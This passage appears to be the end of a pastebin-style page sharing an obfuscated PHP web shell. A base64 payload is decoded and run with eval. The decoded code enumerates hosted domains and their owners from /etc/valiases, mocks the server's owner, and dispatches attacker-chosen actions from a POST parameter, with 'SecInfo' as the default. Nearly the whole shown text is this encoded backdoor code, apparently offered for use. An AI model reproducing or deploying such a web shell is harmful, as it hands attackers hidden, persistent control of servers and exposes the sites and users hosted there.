5kYiMiLCAkZmlsZSwgJHIpOwogICAgICAgICRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj4gVGhlcmUgYXJlICAoIDxiPiIgLiBjb3VudCgkZG9tYWlucykgLiAiPC9iPiApIERvbWFpbnMgaW4gdGhpcyBTZXZlci4gTE9MISB0aGluayB5b3UgZ290IHNvbWV0aGluZyEuPC90ZD48L3RyPgo8dHI+PHRkPk5vPC90ZD48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOwogICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsKCiAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIgLiAkZG9tYWluKSk7CiAgICAgICAgZWNobyAiPHRyPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSBocmVmPSdodHRwOi8vIi4kZG9tYWluLiInIHRhcmdldD0nX2JsYW5rJz4iLiRkb21haW4uIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwogICAgIH0KfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50Rm9vdGVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkKICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKICAgIGVsc2UKICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pCgo/Pgo=";
  16. eval("?>".(base64_decode($Deads)));
  17. ?>
Add Comment
Please, Sign In to add comment